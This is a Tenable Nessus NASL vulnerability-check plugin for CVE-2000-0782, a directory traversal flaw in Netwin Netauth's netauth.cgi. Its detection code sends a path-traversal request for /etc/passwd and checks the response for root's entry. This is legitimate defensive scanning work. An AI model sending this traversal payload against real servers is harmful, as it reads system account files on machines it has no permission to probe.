Netwin Netauth netauth.cgi Traversal Arbitrary File Access

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(10494);
  script_version("1.32");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/05/12");

  script_cve_id("CVE-2000-0782");
  script_bugtraq_id(1587);

  script_name(english:"Netwin Netauth netauth.cgi Traversal Arbitrary File Access");

  script_set_attribute(attribute:"synopsis", value:
"The remote service is prone to an authentication bypass issue.");
  script_set_attribute(attribute:"description", value:
"The 'Netauth' CGI is installed.  This CGI has a well-known security
flaw that lets an attacker read arbitrary files with the privileges of
the http daemon (usually root or nobody).");
  script_set_attribute(attribute:"see_also", value:"http://netwinsite.com/netauth/updates.htm");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Netwin Netauth 4.2f or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:U/RC:ND");

  script_set_attribute(attribute:"vuln_publication_date", value:"2000/08/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2000/08/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:netwin:netauth");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2000-2022 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl", "find_service1.nasl", "no404.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
 data = string(dir,  "/netauth.cgi?cmd=show&page=../../../../../../../../../etc/passwd");
 w = http_send_recv3(method:"GET", item:data, port:port);
 if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
 buf = strcat(w[0], w[1], '\r\n', w[2]);
 if(egrep(pattern:".*root:.*:0:[01]:.*", string:buf))security_warning(port);
}